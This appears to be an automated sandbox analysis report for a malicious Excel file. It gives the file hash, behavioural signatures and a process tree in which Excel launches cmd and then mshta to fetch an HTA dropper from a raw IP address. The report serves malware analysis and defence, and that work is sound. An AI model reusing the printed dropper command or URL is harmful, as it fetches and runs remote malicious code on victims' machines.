Analysis
- max time kernel
142s - max time network
169s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
28/01/2022, 03:35
General
- Target tmp230ypz0e.xls
- Size 154KB
- Sample220128-d5lhksffc2
- SHA256 35fa02f3303e19e5267eb9b406866caef24006ca12b9c8439993a54530bc265e
Malware Config
Extracted
-
hta
-
hta.dropper
http://91.240.118.168/qqqw/aaas/se.html
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- Program crash 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 14 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 13 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp230ypz0e.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c mshta http://91.240.118.168/qqqw/aaas/se.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exemshta http://91.240.118.168/qqqw/aaas/se.html3⤵
- Blocklisted process makes network request
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3812 -s 16524⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/648-118-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp
memory/648-119-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp
memory/648-120-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp
memory/648-121-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp
memory/648-122-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp
memory/648-131-0x00007FFEEC6D0000-0x00007FFEEC6E0000-memory.dmp
memory/648-132-0x00007FFEEC6D0000-0x00007FFEEC6E0000-memory.dmp
memory/648-585-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp
memory/648-586-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp
memory/648-587-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp
memory/648-588-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp